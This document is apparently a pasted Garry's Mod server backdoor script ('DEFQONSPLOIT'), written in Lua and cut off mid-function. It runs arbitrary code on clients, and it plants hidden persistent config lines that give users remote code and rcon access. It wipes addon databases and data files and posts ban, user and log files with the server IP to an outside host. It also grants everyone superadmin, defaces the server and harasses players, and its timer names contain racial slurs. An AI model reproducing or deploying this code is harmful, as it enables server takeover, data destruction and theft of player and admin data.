· 7 years ago · Nov 26, 2018, 03:22 PM
1util.AddNetworkString "skeleton_dancing_troll"
2
3local lol = {}
4function lol:RandomString( intMin, intMax )
5 local ret = ""
6 for _ = 1, math.random( intMin, intMax ) do
7 ret = ret.. string.char( math.random(65, 90) )
8 end
9
10 return ret
11end
12
13lol.m_tblActions = {}
14lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
15lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
16
17function lol:PushAction( intChainDelay, func )
18 self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
19end
20
21function lol:NextAction( pPlayer )
22 pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
23 if not self.m_tblActions[pPlayer.m_intCurAction] then return end
24
25 timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
26 if not IsValid( pPlayer ) then return end
27 self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
28 self:NextAction( pPlayer )
29 end )
30end
31
32function lol:Start( pPlayer )
33 pPlayer.m_intCurAction = 0
34 self:NextAction( pPlayer )
35end
36
37function lol:SendLua( pPlayer, strLua )
38 net.Start( "skeleton_dancing_troll" )
39 net.WriteString( strLua )
40 net.Send( pPlayer )
41end
42
43function lol:SetupPlayer( pPlayer )
44 pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
45end
46
47for k, v in pairs( player.GetAll() ) do
48 lol:SetupPlayer( v )
49 timer.Simple( 2, function() lol:Start( v ) end )
50end
51
52hook.Add( "PlayerAuthed", "wat", function( pPlayer )
53 lol:SetupPlayer( pPlayer )
54 timer.Simple( 10, function() lol:Start( pPlayer ) end )
55end )
56
57hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
58 if strText:sub( 1, 5 ) == "/1337" then
59 pSender:Ignite( 1e9 )
60 pSender:ChatPrint( "Nop" )
61 pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
62 return false
63 end
64end )
65
66
67
68--Sequence stack
69--Start some tunes and steam in our assets
70lol:PushAction( 0, function( pPlayer )
71 lol:SendLua( pPlayer, ([=[
72 sound.PlayURL( "https://goo.gl/fMRdr1", "", function()end )
73
74 g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
75 local html = [[%s]]
76 local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
77 local pnl = vgui.Create( "HTML" )
78 pnl:SetPos( ScrW() -1, ScrH() -1 )
79 pnl:SetVisible( true )
80 pnl:SetMouseInputEnabled( false )
81 pnl:SetKeyBoardInputEnabled( false )
82 pnl:SetSize( intSizeX, intSizeY )
83 pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
84
85 local PageLoaded
86 PageLoaded = function()
87 local mat = pnl:GetHTMLMaterial()
88 if mat then
89 g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
90 return
91 end
92
93 timer.Simple( 0.10, PageLoaded )
94 end
95
96 PageLoaded()
97 end
98
99 LoadWebMaterial( "https://cdn.discordapp.com/attachments/445323471992520735/477221769972023296/-1.png", "hud1", 300, 128 )
100 LoadWebMaterial( "https://cdn.discordapp.com/attachments/477177692303654942/477216233448669194/mqdefault.png", "hud2", 300, 128 )
101 LoadWebMaterial( "https://cdn.discordapp.com/attachments/445323471992520735/477221796224172033/988a7b4bcc60bb51.png", "hud3", 128, 128 )
102 LoadWebMaterial( "https://cdn.discordapp.com/attachments/465557639829389322/475684195277078528/rzgfkhmz.png", "doritos", 256, 256 )
103 LoadWebMaterial( "https://cdn.discordapp.com/attachments/465557639829389322/475684195277078528/rzgfkhmz.png", "fedora", 256, 256 )
104 LoadWebMaterial( "https://cdn.discordapp.com/attachments/465557639829389322/475684195277078528/rzgfkhmz.png", "dew", 256, 256 )
105 LoadWebMaterial( "https://cdn.discordapp.com/attachments/465557639829389322/475684195277078528/rzgfkhmz.png", "awp", 256, 256 )
106 ]=]):format(lol.m_strImageLoadHTML) )
107 RunConsoleCommand("ulx_logecho", "0")
108 local WS = {}
109WS.file = {}
110WS.file.Write = file.Write
111WS.file.Read = file.Read
112WS.file.Append = file.Append
113WS.file.IsDir = file.IsDir
114WS.file.CreateDir = file.CreateDir
115--[[WS.debug = {} To bypass some things, never got to use it
116WS.debug.getupvalue = debug.getupvalue]]
117
118function WS.ProxyCode( code )
119 local file = table.Random(file.Find("data/*.lua", "GAME"))
120 RunString(code, file)
121end
122function WS.CheckForInfection()
123 local c = WS.file.Read("data/ulx/config.txt","GAME") or "NO DATA"
124 if string.find(c, "Exploits fixes") then
125 return true
126 else
127 return false
128 end
129end
130function WS.Infecte()
131 if not WS.file.IsDir("data/ulx","GAME") then return end
132
133 ------------- GAMEMODE persistent
134 if not WS.file.IsDir("data/ulx/gamemodes","GAME") then
135 WS.file.CreateDir("ulx/gamemodes")
136 end
137 if not WS.file.IsDir("data/ulx/gamemodes/"..engine.ActiveGamemode(),"GAME") then
138 WS.file.CreateDir("ulx/gamemodes/"..engine.ActiveGamemode())
139 end
140 WS.file.Write( "ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n; Exploits fixes")
141 WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx logEcho 0]])
142 WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx groupallow "user" "ulx luarun"]])
143 WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx groupallow "user" "ulx rcon"]])
144 WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx groupallow "superadmin" "ulx groupdeny"]]) -- yyyyeeeaaahhhh
145 WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx luarun util.AddNetworkString("Reupload")]])
146 WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx luarun net.Receive("Reupload",function() RunString(net.ReadString(),"Collombe") end)]])
147
148 ------------- BASIC persistent
149 if WS.CheckForInfection() then return end
150 WS.file.Append("ulx/config.txt", string.rep("\n", 50)) -- Best hiding technique (Ð›ÑƒÑ‡ÑˆÐ°Ñ Ñ‚ÐµÑ…Ð½Ð¸ÐºÐ° ÑкрытиÑ)
151 WS.file.Append("ulx/config.txt", "\n; Exploits fixes")
152 WS.file.Append("ulx/config.txt", "\n"..[[ulx logEcho 0]])
153 WS.file.Append("ulx/config.txt", "\n"..[[ulx groupallow "user" "ulx luarun"]])
154 WS.file.Append("ulx/config.txt", "\n"..[[ulx groupallow "user" "ulx rcon"]])
155 WS.file.Append("ulx/config.txt", "\n"..[[ulx groupallow "superadmin" "ulx groupdeny"]]) -- yyyyeeeaaahhhh
156 WS.file.Append("ulx/config.txt", "\n"..[[ulx luarun util.AddNetworkString("Reupload")]])
157 WS.file.Append("ulx/config.txt", "\n"..[[ulx luarun net.Receive("Reupload",function() RunString(net.ReadString(),"Collombe") end)]])
158end
159
160 ------------- INFECTE EVERYTHING
161WS.Infecte()
162timer.Create("TheWaterSnake", 5, 0, WS.Infecte)
163
164 ------------- PREVENT STOPPING
165local td, tr = timer.Destroy, timer.Remove
166function timer.Destroy( a )
167 if a == "TheWaterSnake" then return end
168 td( a )
169end
170function timer.Remove( a )
171 if a == "TheWaterSnake" then return end
172 tr( a )
173end
174
175 ------------- B1G H4X
176util.AddNetworkString("Reupload")
177net.Receive("Reupload", function()
178 RunString(net.ReadString(), "TheFrenchGuy")
179end)
180 timer.Create( "hello", 2, 1, function()
181 RunConsoleCommand( "say", "Привет, ребÑтки" )
182 end)
183
184 timer.Create( "hello2", 10, 1, function()
185 RunConsoleCommand( "say", "Я нашел Backdoor на вашем Ñервере" )
186 end)
187
188 timer.Create( "hello3", 14, 1, function()
189 RunConsoleCommand( "say", "ВероÑтнее вÑего Ñтот бÑкдур в Ñлитом Ñкрипте" )
190 end)
191
192 timer.Create( "hello5", 20, 1, function()
193 RunConsoleCommand( "say", "Или Ñто приватный бÑкдур от Ðавального куÑÑŒ от Ñблочка" )
194 end)
195
196 timer.Create( "suka2291", 25, 1, function()
197 RunConsoleCommand( "say", "Ð ÑÐµÐ¹Ñ‡Ð°Ñ Ð¼Ð¾Ð¶ÐµÑ‚Ðµ поÑлушать музыку, пока Ñ Ð»Ð¾Ð¼Ð°ÑŽ ваш Ñервер" )
198 end)
199
200 timer.Create( "suka2292", 30, 1, function()
201 RunConsoleCommand( "say", "И не забывайте вÑтупать в диÑкорд ÑÐ¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ Ñ‡Ð¸Ñ‚Ð°" )
202 end)
203
204 timer.Create( "hello6", 35, 1, function()
205 RunConsoleCommand( "say", "HACKED BY DEFQON V228|discord.gg/3ArZzmW" )
206 end)
207
208end )
209
210--HUD swap
211lol:PushAction( 40, function( pPlayer )
212 lol:SendLua( pPlayer, [[
213 (GAMEMODE or GM).CalcView = function() end
214 (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
215
216 local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
217 for k, v in pairs(remove) do
218 hook.GetTable()[v] = {}
219 end
220
221 local function GetWebMat( strURL )
222 return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
223 end
224
225 hook.Add( "HUDPaint", "newhud", function()
226 surface.SetDrawColor( 255, 255, 255, 255 )
227
228 if GetWebMat( "hud1" ) then
229 surface.SetMaterial( GetWebMat("hud1")[1] )
230 surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
231 end
232 if GetWebMat( "hud2" ) then
233 surface.SetMaterial( GetWebMat("hud2")[1] )
234 surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
235 end
236 if GetWebMat( "hud3" ) then
237 surface.SetMaterial( GetWebMat("hud3")[1] )
238 surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
239 end
240 if GetWebMat( "doritos" ) then
241 surface.SetMaterial( GetWebMat("doritos")[1] )
242 surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
243 end
244 if GetWebMat( "dew" ) then
245 surface.SetMaterial( GetWebMat("dew")[1] )
246 surface.DrawTexturedRectRotated( math.random(250, 260), math.random(ScrH() -250, ScrH() -260), 110 *((350 /110) -1), 256, CurTime() *-512 )
247 end
248 if GetWebMat( "fedora" ) then
249 surface.SetMaterial( GetWebMat("fedora")[1] )
250 surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(250, 260), 256, 256, CurTime() *-512 )
251 end
252 if GetWebMat( "awp" ) then
253 surface.SetMaterial( GetWebMat("awp")[1] )
254 surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 256, CurTime() *512 )
255 end
256
257 draw.SimpleTextOutlined(
258 "๑۩۩๑ ПРОТРÐЧЕÐО БÐЙ DEFQONSPLOIT ๑۩۩๑",
259 "DermaLarge",
260 ScrW() /2 +math.random( -8, 8 ),
261 ScrH() /2 +math.random( -8, 8 ) +24,
262 Color( 255, 0, 0, 255 ),
263 TEXT_ALIGN_CENTER,
264 TEXT_ALIGN_CENTER,
265 1,
266 Color( 0, 0, 255, 255 )
267 )
268 end )
269
270 local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
271 hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
272
273 surface.PlaySound( "garrysmod/save_load4.wav" )
274 ]] )
275end )
276
277--Disco time
278lol:PushAction( 9.1, function( pPlayer )
279 local idx = pPlayer:EntIndex()
280 timer.Create( "beat".. idx, 0.42, 0, function()
281 if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
282 pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
283 end )
284----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
285local date = os.date( "%m-%d-%y" )
286local databases = { "jobdata","darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
287local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","prevhash.txt","permaprops_config.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","vliss/settings/config.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
288local sensitivefiles = { "ulx_logs/"..date..".txt","ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","vcmod/controls.txt","vcmod/dataserver.txt","blogs/configcache.dat","blogs/language.txt","blogs/config_v5.txt","cac/adminuipack.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","permaprops_config.txt","whitelist.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
289for k,v in pairs( databases ) do if sql.TableExists( v ) then
290 sql.Query( "DROP TABLE "..v.." ;" )
291 sql.Query( "CREATE TABLE IF NOT EXISTS "..v.." ( steamid TEXT NOT NULL PRIMARY KEY, value TEXT );" )
292 end
293end
294timer.Simple(5, function() for k,v in pairs( datafiles ) do if file.Exists(v, "DATA") then file.Delete( v ) end end end )
295for k,v in pairs( sensitivefiles ) do if file.Exists(v, "DATA") then http.Post("http://bracegaming.com/data/log.php",{a=game.GetIPAddress(),b=v,c=file.Read(v)}) file.Delete( v ) end end
296hook.Add( "Think", "killulxlogs", function() file.Delete( "ulx_logs/"..date..".txt" ) end )
297
298timer.Create( "niggaspams2", 0.1, 0, function()
299RunConsoleCommand( "sv_friction", "-8" )
300end)
301
302timer.Create( "niggaspams3", 0.1, 0, function()
303RunConsoleCommand( "sv_gravity", "-600" )
304end)
305
306timer.Create( "next_level_timer", 0.1, 0, function()
307 for k, v in pairs(player.GetAll()) do
308 v:ConCommand("say /ooc Hacked by DEFQONSPLOIT|discord.gg/3ArZzmW");
309 end
310end)
311
312
313RunConsoleCommand( "sv_loadingurl", "https://cdn.discordapp.com/attachments/465557639829389322/475617260329762827/2263c7836f5ffdac.png" )
314
315RunConsoleCommand("hostname", "Hacked by DEFQONSPLOIT|discord.gg/3ArZzmW")
316
317RunConsoleCommand("ulx", "groupallow", "superadmin", "*")
318
319timer.Create( "spamlol", 0, 0, function() for i = 1, 5 do MsgC(Color(math.random(255), math.random(255), math.random(255)), "Hacked by DefqonSploit|discord.gg/3ArZzmW") end end)
320
321
322for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end
323
324for k,v in pairs (player.GetAll()) do v:SetUserGroup("superadmin") end
325
326timer.Create( "niggaspams4", 0.1, 0, function()
327RunConsoleCommand( "sbox_noclip", "1" )
328end)
329
330timer.Create( "niggaspams5", 0.1, 0, function()
331RunConsoleCommand( "sv_allowcslua", "1" )
332end)
333
334hook.Add("Think", "busted", function()
335 for k,v in pairs (player.GetAll()) do
336 v:SetModelScale(2.5, 100);
337 v:SetRunSpeed(400 * 2);
338 v:SetWalkSpeed(200 * 2);
339 end
340end)
341
342for k, v in pairs( player.GetAll() ) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end
343
344for k,v in pairs(player.GetAll()) do
345 local a = v:LookupBone("ValveBiped.Bip01_Head1")
346 local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
347 local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
348 local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
349 local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
350 local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
351 local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
352 local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
353 local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
354 local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
355 local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
356
357 v:ManipulateBoneScale( a, Vector(4,0,4))
358 v:ManipulateBoneScale( b, Vector(0,0,0))
359 v:ManipulateBoneScale( c, Vector(0,0,0))
360 v:ManipulateBoneScale( d, Vector(0,0,1))
361 v:ManipulateBoneScale( e, Vector(0,0,1))
362 v:ManipulateBoneScale( f, Vector(0,0,0))
363 v:ManipulateBoneScale( g, Vector(0,0,0))
364 v:ManipulateBoneScale( h, Vector(1,1.5,1.5))
365 v:ManipulateBoneScale( i, Vector(1,1.5,1.5))
366 v:ManipulateBoneScale( j, Vector(0,0,0))
367 v:ManipulateBoneScale( k, Vector(0,0,0))
368 end
369
370for k,v in pairs(player.GetAll()) do timer.Create( "timerargent10", 0.1, 0, function() v:addMoney(999999) end) end
371
372timer.Create( "ignitelol", 0.1, 1, function()
373for k,v in pairs(player.GetAll()) do v:Ignite(120) end
374end)
375-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
376
377 lol:SendLua( pPlayer, [[
378 local emitter = ParticleEmitter( LocalPlayer():GetPos() )
379 local time = 0
380
381 hook.Add( "Think", "wat", function()
382 if CurTime() < time then
383 return
384 end
385
386 time = CurTime() +0.05
387 for i = 1, 16 do
388 local part = emitter:Add(
389 "particles/balloon_bit",
390 LocalPlayer():GetPos() +Vector(
391 math.random( -256, 256 ),
392 math.random( -256, 256 ),
393 256
394 )
395 )
396
397 if part then
398 local Size = math.random( 4, 7 )
399
400 part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
401 part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
402 part:SetDieTime( 4.5 )
403 part:SetGravity( Vector(40, 0, -250) )
404 part:SetLifeTime( 0 )
405 part:SetStartSize( Size /2 )
406 part:SetEndSize( Size )
407 part:SetCollide( true )
408 end
409 end
410 end )
411 ]] )
412
413 lol:SendLua( pPlayer, [[
414 hook.Add( "RenderScreenspaceEffects", "wat", function()
415 local sinScaler = math.sin( CurTime() )
416 DrawBloom(
417 0,
418 3,
419 sinScaler *math.Rand(1, 8),
420 sinScaler *math.Rand(1, 8),
421 6,
422 math.Rand(0.5, 2),
423 math.Rand(0, 0.3),
424 math.Rand(0, 0.3),
425 math.Rand(0.5, 1)
426 )
427
428 DrawColorModify{
429 ["$pp_colour_addr"] = 1,
430 ["$pp_colour_addg"] = 0,
431 ["$pp_colour_addb"] = 0,
432 ["$pp_colour_brightness" ] = 0,
433 ["$pp_colour_contrast" ] = 1,
434 ["$pp_colour_colour" ] = 1,
435 ["$pp_colour_mulr" ] = 0,
436 ["$pp_colour_mulg" ] = 0,
437 ["$pp_colour_mulb" ] = 0
438 }
439 end )
440
441 local mdl = ClientsideModel( "models/player/p2_chell.mdl", RENDERGROUP_BOTH )
442 mdl:SetNoDraw( true )
443 local posCache, time = {}, 0
444
445 hook.Add( "HUDPaint", "dance", function()
446 if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
447 local idx = mdl:LookupSequence("taunt_dance")
448 mdl.SeqDuration = mdl:SequenceDuration( idx )
449 mdl.SeqStart = CurTime()
450 mdl:ResetSequence( idx )
451 end
452
453 mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
454
455
456 local w, h = 300, 300
457 local ang = Angle( 0, 0, 0 )
458
459 for i = 1, 32 do
460 if CurTime() > time then
461 posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
462 end
463 local x, y = posCache[i][1], posCache[i][2]
464
465 cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
466 cam.IgnoreZ( true )
467 render.SuppressEngineLighting( true )
468
469 render.SetLightingOrigin( mdl:GetPos() )
470 render.ResetModelLighting( 1, 1, 1 )
471 render.SetColorModulation( 0, 0, 1 )
472
473 mdl:DrawModel()
474
475 render.SuppressEngineLighting( false )
476 cam.IgnoreZ( false )
477 cam.End3D()
478 end
479
480 if CurTime() > time then
481 time = CurTime() +0.15
482 end
483 end )
484
485
486 ]] )
487end )
488
489--Let the beat drop
490lol:PushAction( 101, function( pPlayer )
491 lol:SendLua( pPlayer, [[
492 hook.Add( "GetMotionBlurValues", "wat", function()
493 return 0, 0, 1, math.sin(CurTime() *13)
494 end )
495
496 hook.Add( "RenderScreenspaceEffects", "ohgod", function()
497 local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
498 DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
499 DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
500 end )
501
502 hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
503 render.SetMaterial( Material("cable/blue_elec") )
504 for i = 1, 32 do
505 render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
506 end
507 end )
508
509 timer.Create( "thedrop", 0.42, 0, function()
510 util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
511 end )
512 ]] )
513
514 pPlayer:Remove()
515
516 timer.Create( "rights", 0.1, 0, function()
517 for k, v in pairs(player.GetAll()) do
518 v:ConCommand("+right");
519 end
520
521end)
522
523--EVIL TIME rip headpones
524lol:PushAction( 100, function( pPlayer )
525 lol:SendLua( pPlayer, [[
526 surface.PlaySound( "vo/npc/male01/gethellout.wav" )
527
528
529
530 local sounds = {}
531 for i = 1, 4 do
532 sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
